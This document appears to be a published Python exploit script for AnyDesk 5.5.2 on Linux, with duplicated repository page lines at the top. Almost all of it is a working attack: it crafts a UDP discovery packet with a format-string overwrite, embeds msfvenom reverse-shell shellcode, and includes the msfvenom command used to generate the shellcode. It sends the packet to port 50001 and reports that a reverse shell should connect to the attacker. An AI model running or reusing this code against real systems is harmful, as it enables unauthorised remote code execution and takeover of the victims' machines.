50 lines
No EOL
1.8 KiB
Python
Executable file
50 lines
No EOL
1.8 KiB
Python
Executable file
# Exploit Title: AnyDesk 5.5.2 - Remote Code Execution
|
|
# Date: 09/06/20
|
|
# Exploit Author: scryh
|
|
# Vendor Homepage: https://anydesk.com/en
|
|
# Version: 5.5.2
|
|
# Tested on: Linux
|
|
# Walkthrough: https://devel0pment.de/?p=1881
|
|
|
|
#!/usr/bin/env python
|
|
import struct
|
|
import socket
|
|
import sys
|
|
|
|
ip = '192.168.x.x'
|
|
port = 50001
|
|
|
|
def gen_discover_packet(ad_id, os, hn, user, inf, func):
|
|
d = chr(0x3e)+chr(0xd1)+chr(0x1)
|
|
d += struct.pack('>I', ad_id)
|
|
d += struct.pack('>I', 0)
|
|
d += chr(0x2)+chr(os)
|
|
d += struct.pack('>I', len(hn)) + hn
|
|
d += struct.pack('>I', len(user)) + user
|
|
d += struct.pack('>I', 0)
|
|
d += struct.pack('>I', len(inf)) + inf
|
|
d += chr(0)
|
|
d += struct.pack('>I', len(func)) + func
|
|
d += chr(0x2)+chr(0xc3)+chr(0x51)
|
|
return d
|
|
|
|
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.y.y LPORT=4444 -b "\x00\x25\x26" -f python -v shellcode
|
|
shellcode = b""
|
|
shellcode += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48"
|
|
shellcode += b"\x8d\x05\xef\xff\xff\xff\x48\xbb\xcb\x46\x40"
|
|
shellcode += b"\x6c\xed\xa4\xe0\xfb\x48\x31\x58\x27\x48\x2d"
|
|
shellcode += b"\xf8\xff\xff\xff\xe2\xf4\xa1\x6f\x18\xf5\x87"
|
|
shellcode += b"\xa6\xbf\x91\xca\x18\x4f\x69\xa5\x33\xa8\x42"
|
|
shellcode += b"\xc9\x46\x41\xd1\x2d\x0c\x96\xf8\x9a\x0e\xc9"
|
|
shellcode += b"\x8a\x87\xb4\xba\x91\xe1\x1e\x4f\x69\x87\xa7"
|
|
shellcode += b"\xbe\xb3\x34\x88\x2a\x4d\xb5\xab\xe5\x8e\x3d"
|
|
shellcode += b"\x2c\x7b\x34\x74\xec\x5b\xd4\xa9\x2f\x2e\x43"
|
|
shellcode += b"\x9e\xcc\xe0\xa8\x83\xcf\xa7\x3e\xba\xec\x69"
|
|
shellcode += b"\x1d\xc4\x43\x40\x6c\xed\xa4\xe0\xfb"
|
|
|
|
print('sending payload ...')
|
|
p = gen_discover_packet(4919, 1, '\x85\xfe%1$*1$x%18x%165$ln'+shellcode, '\x85\xfe%18472249x%93$ln', 'ad', 'main')
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
s.sendto(p, (ip, port))
|
|
s.close()
|
|
print('reverse shell should connect within 5 seconds') |